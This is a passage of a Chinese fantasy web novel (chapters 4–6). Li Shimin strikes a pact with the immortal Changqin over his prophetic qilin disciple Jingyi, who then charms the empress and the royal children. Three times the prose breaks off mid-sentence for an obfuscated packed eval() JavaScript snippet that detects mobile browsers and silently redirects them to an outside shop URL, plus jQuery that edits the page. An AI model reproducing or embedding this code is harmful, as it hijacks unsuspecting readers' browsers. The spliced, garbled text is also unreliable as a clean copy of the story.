他顿了顿,观察长琴神色,见对方并无太大惊讶,心知自己所料不错,继续道:
“方才小憩,朕又梦到……明日朝会,被臣下直言进谏的场景,真实无比。而令徒亦同梦惊醒,哭诉唾沫淹人。几番异梦,皆因接触令徒而起。仙长,令徒究竟是何人?此等……预见之能,又从何而来?那烽火长安之景,可是……未来某种预示?”
他的目光紧紧锁住长琴,不再是帝王对山野修士的探究,而更像一个背负苍生的凡人,在面对可能关乎国运的神秘存在时,发出的急切而郑重的叩问。
清冷的月光洒在他脸上,映出眉宇间深深的忧患与急切。
长琴静立片刻,方才缓缓开口,声音在寂静的夜色中格外清晰:
“他非我子,乃故友所托幼儿,其有通晓古今时间之能。你所见,非幻非妄,乃是他天赋无意所泄之溯梦,可能是过往碎片,亦可能是,未来支流之一种可能。”
竹庐内,灯火如豆。
一个关乎神兽、时间、王朝气运与未来警示的漫长夜晚,刚刚开始。
李世民的真正目的,寻求理解与应对那可怕未来的可能,也在此刻,正式摆在了太子长琴的面前。
4. 第 4 章
山顶的竹庐内,灯烛燃了半宿。
炭火在小炉上噼啪轻响,景颐早已哭累,蜷在长琴身边的小榻上沉沉睡去,脸上还挂着泪痕,但呼吸均匀,偶尔咂咂嘴,似乎梦到了蜜饯。
长琴指尖始终虚按在他腕间,一缕极淡的、带着安流章韵律的灵力缓缓流转,抚平他因能力过度触发而略显紊乱的气息。
炉火另一侧,李世民正襟危坐。
褪去了劲装与铠甲,他只着一件素色中衣,外披着长琴递来的云纹罩袍,面容在跳跃的光影中显得异常肃穆,甚至有些憔悴。
半宿长谈,信息量过于惊人,冲击着他固有的世界观。
长琴言简意赅,却也未过多隐瞒。
他告知了景颐的麒麟身份与其天赋溯梦的实质——并非主动窥探,而是被动感应并映射时空长河中烙印深刻的焦点,尤其是与强大气运个体,比如与帝王接触时,更容易被激发。
他也解释了流云境特殊环境与景颐能力相互扰动的问题,以及寻找《鸣岐溯音谱》以助其梳理控制力量的必要性。
“所以,”李世民消化着这些信息,声音有些干涩,
“朕所见……非既定之未来,而是一种可能?且因朕之气运与令徒接触,才得以显现?”
“可视为未来支流之一。”
长琴拨动了一下炉中炭火,“时间如河,分支无数。你所见,乃是最为汹涌、可能性颇高的一股暗流。它因种种‘因’而存在,亦可能因种种‘变’而改道。”
“因……与变……”
李世民喃喃重复,目光投向沉睡的景颐,又似穿透墙壁,望向长安方向,“那便是说,若朕……若大唐此刻之‘因’改变,那烽火长安之‘果’,或可避免?”
“理论如此。”长琴看向他,
“然天道幽微,因果交织。强改大势,往往牵一发而动全身,引发何种新变,难以预料。”
李世民沉默良久。炉火将他的影子长长投在墙壁上,微微晃动。
最终,他抬起头,眼中疲惫未消,却重新燃起了一种更为深沉、更为坚毅的光芒,那是一个开创者面对难题时的眼神。
“纵然前路莫测,知晓有此一劫可能,便强过全然蒙昧。”
他缓缓道,每一个字都沉甸甸的,“仙长寻谱以安幼徒,乃是师者之责。朕欲求变以避灾劫,乃是人君之任。你我目的,或有相通之处。”
他停顿一下,提出了一个设想:
“仙长方才言及,令徒之力易与强盛气运交感。朕乃人间帝王,身系大唐气运中枢。是否……让令徒在可控情形下,接触此间气运,对其掌控能力,亦是一种历练与参照?总好过在山中无的放矢。”
长琴不置可否,但眼神微动,显然在考虑。
李世民见状,更进一步,语气诚恳:
“再者,仙长欲寻古谱,需在人间行走探查。携一稚龄幼童,多有不便。若不嫌弃……”
他斟酌着词句,“可携令徒暂居长安城内。一来,宫内太医署或有古籍、或识古物之人,可助仙长探查琴谱线索。二来,宫中亦有年幼皇子公主,性颇纯良,令徒有玩伴相伴,或能稍解烦闷,亦合乎孩童天性。三来……我可保证,必以贵客之礼相待,绝不会令令徒受半分委屈,亦会遣稳妥之人随护,绝不影响仙长正事。”
他提出的条件,可谓思虑周全,既考虑了景颐的成长与安全,也顾及了长琴寻谱的需求,更隐含了就近观察、有限合作的意图。
长琴垂眸,看着景颐睡梦中无意识抓住自己袖口的小手。
带这孩子下山,本就有让其接触人间、消耗精力的打算。深山结界定居虽清净,却非长久之计,景颐的活泼好动天性需要更广阔的空间释放,其能力也需要在更复杂的环境中学习控制。
李世民所言不无道理,皇宫内资源丰富,人员可控,确实比在外漫无目的寻找或困于山野更有效率。
至于安全……
他瞥了一眼李世民,此人气运堂皇,心志坚定,所求乃国祚绵长,在未明真相前,应不至于对景颐不利,反而会竭力保护这可能的预警之源。
更重要的是,《鸣岐谱》的下落与人道昌明之气运相关。还有什么地方,比这个正在崛起王朝的中心,更能感受和追踪那种鸣岐天音的共鸣呢?
长琴终于抬首,看向目光中带着希冀与一丝紧张的李世民,缓缓颔首。
“可。”
仅仅一字,却让李世民紧绷了半夜的心弦,为之一松。
“但需约法三章。”
长琴声音平淡却不容置疑,
“其一,景颐身份,除你之外,不可再泄于第三人。其二,其能力不可被妄加利用或试验。其三,居所需僻静,日常起居,由我安排。”
“自然!”李世民毫不犹豫应下,
“一切依仙长所言。朕即刻安排,就在宫内寻一清雅独立院落,一应人手器物,尽数备齐,绝不打扰仙长清静与令徒安宁。”
晨光熹微,透过窗棂,洒在两人之间。
一夜的震惊、恐慌、试探与沉重对话,终于在这各取所需、各怀心思的初步约定中,暂时落定。
新的篇章,将从这终南山巅,移向那座雄踞关中的、正在书写自己传奇的巍巍长安城。
神兽、仙君、帝王,三方命运的交汇,即将在那片红尘最炽热处,展开新的波澜。
景颐在睡梦中翻了个身,咂咂嘴,完全不知道,自己即将从山野小兽,升级为宫廷重点观察(保护)对象兼皇子公主潜在玩伴(破坏王)。
一切解决后,李世民决定先行一步,回去上朝。长琴、景颐二人收拾齐全后,由李世民安排的人马带入宫中。
李世民于清晨独自下山,与焦急等候在山外的禁军汇合。
回宫路上,他闭目养神,脑海中却反复回响着长夜的对谈,以及……那个荒诞又真实的魏征进谏梦。
踏入太极殿时,阳光正照亮御阶。文武百官分列,气氛庄严肃穆。
起初一切如常,直到议题转到秋狝善后与陛下昨日短暂离队之事。
只见魏征手持玉笏,稳步出列,面色端凝,声音洪亮如钟:
“陛下!臣闻天子出入,仪卫有常。昨日夏苗,陛下轻身深入险林,久离大队,此非万乘自重之道,亦非……”
字字句句,竟与昨日梦中分毫不差!连那微微飞溅的唾沫星子的轨迹,都似曾相识!
李世民原本紧绷的心弦,因为这过分精准的预演,反而“啪”地一下松了。
一种极其荒诞的感觉涌上心头。
他,大唐天子,刚刚经历了神兽托梦、预见国难的冲击,此刻却要在这里,一丝不差地体验另一个关于自己被臣子唾沫星子教育的预知梦?
这对比太过鲜明,反差太过强烈。忧国忧民的沉重,与眼前这桩小事被精准预言的滑稽感交织在一起。
他一时没忍住,嘴角抽动了几下,竟低低笑出了声。
殿内瞬间死寂。
魏征的谏言戛然而止,愕然抬头。满朝文武目瞪口呆,像是看到了什么不可思议的景象。
陛下……在魏征谏言时……笑了?
下一秒,魏征的脸由肃然转为涨红,那是士大夫尊严被轻视的激动:
“陛下!臣所言乃关乎社稷礼仪,陛下何故发笑?岂不闻……”
真正的、比梦境更加猛烈、更加引经据典、更加滔滔不绝的谏诘,如同黄河决堤,轰然倾泻!
这下,不仅梦中场景重现,还附带了因李世民不当笑场而触发的威力加强版。
李世民赶紧收
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114014|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敛笑容,正襟危坐,摆出虚心纳谏的姿态,心中却五味杂陈:
那孩子的梦,竟连这等细枝末节都如此精准?那关乎国运的烽火……难道也……
他一边听着魏征的加强版输出,一边心底那根关于未来警示的弦,绷得更紧了。
——
与此同时,长琴带着新鲜出炉的“宫廷暂住证”和满满一储物法宝的育儿物资,牵着景颐,乘坐着李世民安排的、低调但异常舒适的马车,从另一条路进入了长安城。
景颐几乎把脸贴在了车窗上。琉璃窗外的世界,让他深褐色的眼睛瞪得溜圆。因着城内人多眼杂,长琴在下山前,以防万一,又给景颐吃了敛光露。
“师父!看!好多房子!高高的!”
“师父!快看!那个花花绿绿的是什么?”
是绸缎庄的招牌。
“哇!好香!是那个吗?”
是刚出炉的胡饼。
“咦?他们在干什么?围着圈圈?”
是街头卖艺杂耍。
马车驶过繁华的西市边缘,喧嚣的人声、各色气味、琳琅满目的商品冲击着景颐的一切感官。
他兴奋得在座位上扭来扭去,几次试图扒开车窗缝把脑袋伸出去,都被长琴不动声色地拎回来。
“颐儿,坐好。” 长琴第一百次提醒,顺手塞了一块蜜饯到他嘴里,暂时堵住惊叹。
唉!
马车最终驶入皇城,停在一处名为“凝云轩”的僻静院落前。
这里离李世民日常起居的甘露殿不远不近,环境清幽,花木扶疏,院中还有一小片竹林和一道引来的活水,显然是精心挑选,兼顾了长琴的喜好与景颐可能的活动需求。
内侍宫女早已恭敬等候,个个低眉顺眼,训练有素。
景颐对新住处的好奇只维持了不到半个时辰,迅速探索完院子。
即试图捞水里的锦鲤、研究竹子是不是和流云境的一样,甚至听见太监尖细的声音,好奇地央着他再说几句听听。
在发现皇宫虽然大,但规矩好像更多,不能随便乱跑之后,他的心思立刻飞回了进城时看到的那个五彩斑斓、热气腾腾的世界。
他蹭到正在屋内翻看李世民送来的一批疑似与古乐谱相关的古籍的长琴身边,拽了拽师父的衣袖,仰起脸,深褐色的大眼睛里盛满了渴望,声音又软又糯:
“师父……”
“嗯?”
“外面……街上……好热闹。”
“嗯。”
“颐儿想……”
小家伙小心翼翼地观察师父脸色,
“想去看看……就看看!那个香香的饼饼,还有会翻跟头的人……”
他越说越激动,越说越大声,仿佛想看的东西就在眼前。
长琴放下竹简,垂眸看他。
他知道把这天性好奇好动的神兽幼崽关在宫里不现实,今天这一路,景颐的表现已经算是克制了。
让他适当接触市井,或许也是人间历练的一部分,只要做好防护……
见师父没立刻反对,景颐立刻打蛇随棍上,抱住长琴的腿开始“咏叹调”:
“师父最好了!颐儿一定乖乖的!不乱跑!就看看!牵着师父!戴好玉佩!吃完蜜饯……不,看完就回来!”
最终,在景颐快要化身牛皮糖挂件之前,长琴几乎微不可闻地轻轻叹了口气。
“日落前必须回来。”
“嗯嗯嗯!”
景颐点头如捣蒜。
片刻后,换了一身寻常富家小郎君服饰、颈间玉佩掩在衣领下的景颐,紧紧牵着同样换了朴素青衫、收敛了绝大部分仙气的长琴的手。
眼睛亮得像偷到了星星,迈出了凝云轩,朝着记忆中那喧嚣与香气飘来的方向,迫不及待地跑去。
5. 第 5 章
凝云轩迎来特殊客人的消息,虽未张扬,但自然瞒不过六宫之主长孙皇后。
李世民早朝后,便径直来到立政殿。
他并未对她言明全部,只道是山中偶遇的隐世高人与其幼徒,学问深湛,于自己有警示之助,故请入宫中暂居,以礼相待,亦免外人打扰其清修。
他提及那孩童时,语气有一丝罕见的复杂:“那孩子,名景颐,心性质朴,然颇为好动,与寻常孩童略异,需多看顾些。”
长孙皇后何等聪慧,从丈夫略显凝重的神色、特意安排的僻静院落、以及“略异”、“多看顾”这些含糊措辞中,已察觉此事绝非寻常贵客那般简单。
陛下不欲深谈,她便不问,只将一份细致妥帖的关照放在心里。
她亲自过问了凝云轩的用度,挑选了性情最沉稳、口风最紧的宫人内侍前去伺候,吩咐务必恭敬周全,但非召不得擅入内室打扰。
又细心添置了许多孩童适用的器物、衣物、玩具和不易上火又美味的点心,仿佛真是为了款待一位重要的远亲孩童。
当日下午,立政殿内。
太子承乾、魏王泰、长乐公主丽质等几位年纪稍长的皇子公主,被召至母后跟前。孩子们见父母同在,且神色比平日更多几分郑重,都有些好奇地站好。
长孙皇后将孩子们唤到身边,声音温柔道:
“今日唤你们来,是有一事。宫中新来了两位客人,一位是极有学问的长辈,一位是比你们略小些的弟弟,名唤景颐。他们远道而来,要在宫中住些时日。”
李世民接口,语气比在朝堂上温和,但带着父亲的威严:“这位小弟弟,或许与你们见过的孩童略有不同,性子跳脱些,好奇心重。你们身为兄姊,要懂得照顾,带着他好好玩耍,御花园、百兽园的外围区域皆可,但不可去危险之处,不可争执欺生。要记住,待客以诚,以友相待,便是皇家风范。”
李承乾已十二岁,自然懂事地恭敬应下。
小一岁李泰眨着眼睛,好奇地问:“耶耶,那弟弟会玩什么新奇游戏吗?”
小丽质则小声问母后:“他喜欢花吗?丽质可以带他看我最喜欢的那株牡丹。”
长孙皇后笑着抚过孩子们的头发:
“这便要你们自己去发现了。记住,他是客人,也是玩伴。去吧,待他们从宫外回来,可以让嬷嬷带你们去凝云轩附近,若见到那位小弟弟出来玩耍,便可上前邀请,记得要有礼貌。”
孩子们带着些许兴奋与任务感离开了。李世民与长孙皇后相视一笑。
——
午后的御花园,阳光正好。蝉声慵懒,空气中浮动着草木与泥土被晒暖后的清香,但这宁静很快被一道旋风般的小身影打破。
景颐像一颗被发射出来的、裹着浅青色锦袍的小炮弹,从嬷嬷们“小心!慢点!”的惊呼声中冲了出来。
他颈间的羊脂玉佩随着跑动一晃一晃,褐色眼眸里闪烁着发现新大陆般的兴奋光芒。
什么奇花异草?不存在的!他的目标是假山后可能藏着的小虫,是池边一块形状奇怪的石头,是树上某只叫声特别的鸟。
“哇!嬷嬷快看!石头会动!”他指着地上缓慢爬行的潮虫大喊。
“蝴蝶!金色的!比流云境的还亮!”他追着一只菜粉蝶,完全无视了脚下名贵的牡丹苗。
“这树好高!能爬吗?”他跃跃欲试地抱住一棵老梅树的树干。
两位被精挑细选来、本以沉稳著称的老嬷嬷,此刻额头已见薄汗,既要努力跟上这小祖宗的步伐,又要防着他真去爬树或跳进池子里捞鱼,简直心力交瘁。
就在这鸡飞狗跳的追逐戏码上演到假山附近时,另一行人恰巧转过弯来。
正是仪态端庄的长孙皇后,领着长乐公主李丽质,以及被乳母牵着、走得还有些摇晃的九皇子李治。
景颐一个急刹车,差点撞到长孙皇后身上。他站稳,毫不怯场地抬起头,目光像探照灯一样,迅速扫过眼前这群新面孔。
长孙皇后看着这个突然闯入视线、跑得脸蛋红扑扑、眼神亮得惊人的孩子,微微一怔。
丽质好奇地睁大了眼睛,李治也忘了走路,呆呆地看着这个突然出现的、活力四射的小郎君。
景颐的目光首先锁定了和他个头差不多的丽质,以及她手里那个色彩鲜艳的绣球。他眼睛“唰”地亮了,立刻扬起一个极具感染力的灿烂笑容,主动开口,声音清脆:
“你的球真好看!能一起玩吗?我叫景颐!” 他甚至自来熟地往前凑了半步,完全无视了身份差距和初次见面的礼节。
丽质被这直接又热情的笑容晃了一下,小脸微红,下意识地把绣球往前递了递:
“……好、好啊。我是丽质。”
“丽质阿姊!”景颐从善如流,立刻给新伙伴升级了称呼,伸手就去接球,动作自然得仿佛两人早已是玩伴。
嬷嬷在一旁急得差点出声提醒礼数,长孙皇后却轻轻抬手制止了。
她眼中闪过一丝兴味,饶有兴致地看着这不怕生、甚至有点反客为主的小客人。
景颐拿到球,拍了两下,立刻发现了新玩法。他把球往旁边草地上一滚,球慢悠悠地朝着李治的方向滚去。
“弟弟!接住!”他冲着李治喊,自己则像只兴奋的小狗一样跟在球后面跑。
李治看着滚到脚边的球,又看看跑过来的、笑容灿烂的小哥哥,懵懂地松开乳母的手,弯腰想去捡。
景颐已经跑到跟前,却没有自己捡起来,而是蹲下来,引导着李治的小手抱住球。
“对!就这样!弟弟真棒!”他毫不吝啬地夸奖,还伸手揉了揉李治软软的头发。
就在他靠近李治、全心投入“教学”的刹那,或许是情绪高昂,或许是孩童间纯粹的接触引发某种共鸣。
长孙皇后清晰地瞥见,景颐那双原本深褐的眼底,极快地掠过一抹跳跃的、流动的金色光点,快得像错觉,却带着难以言喻的灵动与活力。
她心下微动。
更让她讶异的是,向来有些怕生、尤其对过于活泼事物会退缩的雉奴,这次非但没躲,反而被景颐的热情感染,抱住球,咯咯地笑了起来,甚至含糊地跟着学:
“……弟弟!球!”
景颐更来劲了,开始指挥:“丽质阿姊,我们站这边!弟弟,把球滚过来!对!就这样!”
他瞬间成了三人小游戏的核心,分配任务,加油鼓劲,虽然规则是他随口瞎编的,但成功让丽质和李治都跟着他跑动、欢笑起来。
御花园一角顿时充满了孩童清脆的笑声和“这边!”“给我!”的欢快叫嚷。
长孙皇后静静看着,面上依旧是温婉的笑意,心中却波澜微起。这孩子何止是好动,简直是个人形小太阳,拥有瞬间点燃周围气氛、并且让人不自觉跟着他节奏走的奇特能力。
那转瞬即逝的眸色异象,雉奴反常的亲近与投入……都指向这个孩子的不寻常。
“景颐很有精神呢。”她对试图上前控制局面的嬷嬷温和地说,眼神却示意无妨。
嬷嬷松了口气,低声禀报:“小郎君精力旺盛,心地是极好的。”
玩了一会儿,景颐鼻尖冒汗,却意犹未尽。他看到丽质鬓角一朵精致的绢花,立刻被吸引:“阿姊,你的花也好看!”
而后目光又落到长孙皇后佩戴的玉簪上,“大姐姐,您的簪子亮晶晶的!” 夸赞得直白又真诚,让人生不起气来。
已为人母多年的长孙皇后猛地一听到“大姐姐”这个称呼,愣了一下,忍不住噗嗤一笑。
她蹲下身,伸手理了理景颐玩得凌乱的头发,笑道:“怎么叫我姐姐啊?”
景颐看着面前温柔姣好的面容,也笑着说:“玄女姐姐说,看到好看的人都要叫姐姐!”
长孙皇后笑得更加开怀:“那你叫丽质为阿姊,又称我为姐姐,这辈分岂不是乱了?”
一旁的丽质也吃吃笑了起来,李治不明就里,看着娘娘和阿姊都在笑,也跟着嘻嘻笑。
“啊?”
景颐不懂什么辈分,毕竟神仙们很是长命,对于辈分之类的也不大在意。
但他看到一众人都在笑,有些不服气的噘嘴:“哼!我有我自己的说法!你是大姐姐,丽质阿姊是小姐姐,这不就得了!”
一时间,所有人笑得更加厉害,连几位嬷嬷都笑得直不起腰,互相搀扶。
景颐瞪大眼,听着周围此起彼伏的笑声,小脸涨得通红,深褐色的眼睛里写满了“你们这些凡人不懂我高级称呼体系”的委屈和气恼。
他跺着脚,声音都拔高了:“不许笑了!再笑、再笑我就让我师父布个阵,把你们都定住!让你们只能看我一个人玩!”
这“威胁”配上他那张稚气未脱、故作凶狠的脸,反而更添喜感。长孙皇后好不容易止住笑,看着眼前这只炸毛的小孩,眼中漾满温柔的涟漪。
她伸手轻轻捏了捏景颐鼓起的脸颊,柔声道:“好,好,不笑了。是我们不对,不该笑话景颐。”
她又转向丽质和掩嘴的宫人们,笑意未
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114015|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
消但带上了皇后的温和告诫:“好了,莫要再逗他。”
众人这才渐渐收声,但看向景颐的目光都充满了忍俊不禁的喜爱。
景颐见大姐姐发话,大家果然不笑了,这才稍微顺了气,但还是故意扭过头,用后脑勺对着众人,表达自己“生气了,需要哄”的态度,小眼神却偷偷瞟着长孙皇后和丽质。
长孙皇后如何看不出这孩子的小心思?她笑着从袖中取出一个早就备好的、作为给景颐见面礼的小巧玲珑的鎏金香囊,上面系着五彩丝绦,缀着一颗润泽的珍珠。
她将香囊在景颐眼前晃了晃:“这个,送给会叫人大姐姐的景颐,当作赔礼,可好?”
景颐的注意力立刻被吸引,那香囊精致小巧,珍珠在阳光下泛着柔光,丝绦颜色鲜艳。
他犹豫了一下,对亮晶晶东西的喜爱到底压过了那一点点面子,迅速转过身,一把接过香囊,攥在手心,又觉得太快原谅似乎不够矜持,于是努力板着小脸,但眼睛里的欢喜已经藏不住:
“那……那好吧。看在大姐姐你送我礼物的份上。”
他学着大人的样子,将香囊系在自己腰间,还特意调整了一下位置,让它和自己别在腰间的花并排挂着,然后挺起小胸脯,自觉十分威风。
丽质见状,也从自己腕上褪下一个编织精巧、带着小玉铃铛的五色绳结,递给景颐:“给,景颐弟弟,这个铃铛声音很好听,跑起来叮叮当当的。”
景颐这下彻底雨过天晴,接过绳结,套在手腕上,摇了摇,果然发出清脆悦耳的铃声,他立刻眉开眼笑:“谢谢小姐姐!”
雉奴也学着阿姊的样子,从乳母袖袋里掏啊掏,掏出半块被啃得湿漉漉、沾着口水的糕点,努力递向景颐,含糊道:“颐……吃!”
景颐看着那惨不忍睹的糕点,脸上的笑容僵了一下,但看到雉奴那亮晶晶、充满分享欲的眼睛,他还是郑重其事地接了过来,小心地没碰到口水部分,然后大声说:
“谢谢雉奴弟弟!我等会儿……嗯,等会儿和我的蜜饯一起吃!”
当然,内心里想的是这个还是留给土地公公吧。
一场小小的称呼危机和笑话风波,就在孩子们童稚的互动和礼物交换中化为无形,气氛反而更加融洽亲昵。
眼看日头偏西,嬷嬷不得不上前,这次语气更加温柔小心:“小郎君,时辰不早了,再不回去,仙长该担心了。”
景颐摸了摸腰间的香囊和手腕的铃铛,又看了看新认识的大姐姐、小姐姐和小弟弟,虽然不舍,但还是点了点头。
他对着长孙皇后认真地说:“大姐姐,我明天还来!我带师父做的毽子来!” 又对丽质和李治挥手:“小姐姐再见!雉奴弟弟再见!”
说完,才一步三回头地跟着嬷嬷离开,手腕上的小铃铛随着他的步伐,发出叮叮咚咚欢快的脆响,渐渐远去。
长孙皇后直起身,望着那活力四射的小身影消失,唇边的笑意久久未散。丽质依偎过来,小声说:“娘娘,景颐弟弟真有趣,他叫我小姐姐呢。” 语气里带着新奇和欢喜。
“是啊,他是个特别的孩子。” 长孙皇后揽着女儿,又看了看被乳母抱起的、还在朝景颐离开方向张望的李治,心中那份因那转瞬即逝的金色流光和孩子们异常亲近而生出的疑惑与探究,被此刻温馨趣致的画面冲淡了不少,但并未消失。
这孩子天真烂漫,热情如火,却又隐隐透着不凡。他口中的玄女姐姐是谁?他那位未曾露面的师父,又是何等人物?陛下将他们安置宫中,绝非寻常。
“走吧,我们也该回去了。” 长孙皇后收敛思绪,牵着丽质,缓步离开御花园。夕阳将她们的影子拉得很长,空气中仿佛还残留着孩童清脆的笑语和铃铛的余韵。
而回到凝云轩的景颐,早已把刚才那点小恩怨抛到九霄云外,正举着香囊和绳结,叽叽喳喳地向刚刚结束调息、从房内走出的长琴展示今日“战利品”,并手舞足蹈地描述他是如何“征服”了新朋友,以及大姐姐有多么温柔好看。
长琴听着徒弟兴奋的叙述,目光扫过那明显出自宫中之物的香囊和绳结,又看了看景颐亮晶晶、毫无阴霾的眼睛,心中微动。
人间皇室,似乎比他预想的,更早地接纳了这个麻烦的小家伙。
他抬头,望向渐渐沉入暮色的宫殿飞檐。寻找《鸣岐谱》之路,或许比他想象的,更早地与这大唐宫廷的气运,纠缠在了一起。
而他的小徒弟,显然已经乐在其中,并且开始自发地……拓宽他们的社交版图了。
6. 第 6 章
几日过去,凝云轩的平静(相对而言)再次被打破。
景颐像一只被关久了的小兽,在院子里转了一圈又一圈。
据他所说,他把假山石摸了一百遍,池子里的锦鲤数了两百回,连墙角新冒出的蘑菇都研究过了。
景颐终于按捺不住,扑到正在廊下翻阅一本刚从宫内藏书处寻来的、疑似与《鸣岐谱》有关残卷的长琴腿边,开始了熟悉的咏叹调攻势。
“师父——”
“嗯。”
“外面……好天气。”
“嗯。”
“街上……肯定很热闹。” 小眼神开始飘忽。
“……”
“颐儿保证!这次一定不乱跑!牵着师父!只看不摸!吃完……不,看完就回来!” 台词熟练得令人心疼。
长琴从竹简上抬起眼,看着徒弟那张写满渴望自由的小脸。
他知道,上次短暂的市井之行只是吊起了景颐更大的胃口,这几日的宫中玩耍虽有趣,但远比不上外面世界的广阔与鲜活。
他正欲开口,院门外传来了孩童清脆的说话声和内侍的通传:“太子殿下、魏王殿下、长乐公主殿下到访。”
李承乾、李泰和丽质的身影已出现在月洞门外。李承乾稍显稳重,努力端着太子的仪态,李泰满眼好奇地打量四周,丽质则有些羞涩地跟在兄长身后。
这是他们第一次正式拜访凝云轩,也是第一次近距离见到这位被耶耶娘娘多次提及、语气中带着敬意的仙长。
当他们的目光落在廊下那位青衣人身上时,三个孩子都不由自主地屏住了呼吸,先前准备好问候的话语也卡在了喉咙里。
那并非威严或可怕带来的紧张,而是一种近乎本能的、面对某种超然物外存在时的无措与敬畏。
他明明只是随意地坐在那里,翻阅着竹简,周身并无迫人气势,却仿佛自成一个宁静悠远的世界,将院中的喧嚣(主要来自某只麒麟)都隔绝在外,连阳光洒在他身上,都显得格外清冷静谧。
然后,他抬起了眼。
三人都不约而同的晃了一下神色。
虽说宫内美人如云,但三个孩子仍是被这不俗的容颜惊艳。
李承乾最先回过神,想起礼仪,连忙拉着弟弟妹妹,躬身行礼,声音比平时更谨慎几分:“小子承乾/泰/丽质,见过仙长。”
丽质甚至不由自主地揪住了大兄的衣角。
李泰心里则在惊呼:这位仙长……比宫里所有的美人都好看!而且好年轻!
长琴的目光在他们身上轻轻掠过,如同微风拂过水面,微微颔首,算是回礼,并未多言,重新将视线落回竹简。但那惊鸿一瞥留下的印象,已深深印在了三个孩子心中。
景颐可没管那么多,看到玩伴来了,眼睛一亮,暂时忘了出宫大计,也高兴地挥手:“丽质阿姊!高明大兄!青雀二兄!”
他记人倒是快。
李泰率先开口:“景颐,宫里新送来几只西域的拂林犬,毛茸茸的,可有趣了,要不要去看?”
丽质也跟着轻声说:“御花园东角那株玉蕊花开了,可漂亮了!”
景颐听着,脸上露出感兴趣的表情,但那双灵活的眼睛转了转,一个更大胆的念头冒了出来。他看看新来的玩伴,又看看师父,一个自认为绝妙的主意成型了。
他蹭到长琴身边,这次不是对着师父一个人撒娇,而是对着全体在场人员,声音提高了些,带着一种分享快乐的兴奋:
“宫里的小狗和花花明天也能看!但是外面街上,有会转的糖画儿,能吹出大泡泡的皂角水,还有能把人吞进去又吐出来的大箱子!可好玩了!高明大兄,青雀二兄,丽质阿姊,你们想不想去看看?”
他这话一出,三个皇室孩子都愣住了。出宫?去市井街头?这对他们来说,几乎是另一个世界的事情。
李承乾下意识地看向长琴,又想起耶耶娘娘的叮嘱。
李泰的眼睛却瞬间亮了,充满了探险的渴望。丽质则是好奇又有些怯怯的期待。
景颐见有效果,立刻加大力度,转身抱住长琴的胳膊,开启了终极说服模式:
“师父!你看!高明大兄他们也没去过!我们带他们一起去看看吧!人多热闹!我保证,我们都听话!牵着走!不乱跑!您就答应吧!求求您了!最好的师父!”
他一边说,一边用那双已然开始泛起水光的眼睛,可怜巴巴地望着长琴,又回头用眼神向新朋友们求助。
李泰最是心动,忍不住小声帮腔:“仙长……泰,也未曾见过市井……”
丽质也拉着大兄的袖子,眼里满是期盼。
李承乾最为年长,知道此事非同小可,但看着弟弟妹妹渴望的眼神,又想起耶耶似乎对这位仙长和景颐弟弟格外不同,且耶耶曾言“开阔眼界非坏事”,他犹豫了一下,也谨慎地开口:
“仙长,若、若确保安全,承乾愿代为看顾弟妹。”
长琴看着眼前这群孩子。景颐是“主谋”,三个皇室孩童是“从犯”兼“人质”。
有他们在,景颐至少会收敛些,皇室也会更注重安全。这局面,倒是比他单独带着景颐出去,或许更……可控一些?
况且,让这过于活泼的弟子带着皇嗣体验民间,算不算某种程度的消耗精力和社会实践?
沉默片刻,在景颐快要变成望师石和三位小贵客屏息以待中,长琴终于放下竹简,淡淡开口:
“你既想与他们同去,便去吧。”
景颐眼睛瞪大,惊喜刚冒头,就听师父继续用那无波无澜的语调说:“为师不去。”
“啊?” 景颐的小脸瞬间垮下,“师父不去?那、那……”
李承乾三人也有些意外,互相对视一眼。没有仙长在旁,固然少了些拘束,但似乎也少了最大的保障和底气。
长琴仿佛没看到他们的反应,径自道:“高明为长,需负起看顾之责。出宫后,一切听高明与侍卫安排。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114016|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他对李承乾微微颔首,那目光虽淡,却带着无形的重量,让李承乾不由自主挺直了背脊,郑重应道:“是,仙长,承乾明白。”
“至于你,” 长琴看向瞬间蔫了的景颐,指尖轻弹,一道极淡的、带着安流章韵律的灵光没入景颐颈间的玉佩,玉佩微不可察地温了一瞬,
“玉佩不可离身,遇事不可妄动。日落前,必须回来。”
他的语气没有商量余地。景颐知道这是师父的最终决定,虽然万分想让师父也去看看外面的热闹,但能出去已经是胜利,他瘪瘪嘴,还是用力点头:
“颐儿知道了!一定听话!”
长琴又看向侍立一旁、早已得到陛下皇后暗中旨意、专门挑选出的两名便装侍卫首领,淡声道:“有劳。”
两位侍卫首领连忙躬身:“仙长放心,卑职等必誓死护卫小殿下们周全。”
